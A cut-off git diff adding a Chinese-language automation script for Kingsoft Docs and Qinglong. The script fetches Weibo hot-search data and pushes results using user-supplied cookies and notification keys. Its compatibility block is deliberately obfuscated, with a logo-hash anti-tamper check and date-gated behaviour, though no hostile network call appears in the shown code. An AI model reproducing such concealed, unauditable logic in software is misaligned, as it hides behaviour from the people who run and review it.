"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.70", + } + + // (修改这里,这里填抓包获取data,全部抄进来就可以了,按照如下用引号包裹的格式。POST请求才需要这个,GET请求就不用它了) + data = { + } + + // 进行签到 + // 响应302 + // 请求方式3:GET请求,无data数据。则用这个 + resp = HTTP.get( + url, + { headers: headers } + ); + + + // =================修改这块区域,区域结束================= + + // 青龙适配,青龙微适配 + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } + +} diff --git a/脚本库/web版/账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js b/脚本库/web版/账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js new file mode 100644 index 0000000..f67c2a8 --- /dev/null +++ b/脚本库/web版/账密/微博热搜榜/2025-08-25_wbhot_04ee263f.js @@ -0,0 +1,646 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/wbhot.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wbhot.js +// # Repo: imoki/sign_script +// # Path: polymerization/wbhot.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 04ee263fbdb25ee3e76ed0689389858acb2bdc6a97990baf8c495a6f4d159750 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "微博热搜榜" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0) + 更新时间:20240430 + 环境变量名:wbhot + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "wbhot"; // 分配置表名称, (修改这里) +var pushHeader = "【微博热搜榜】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 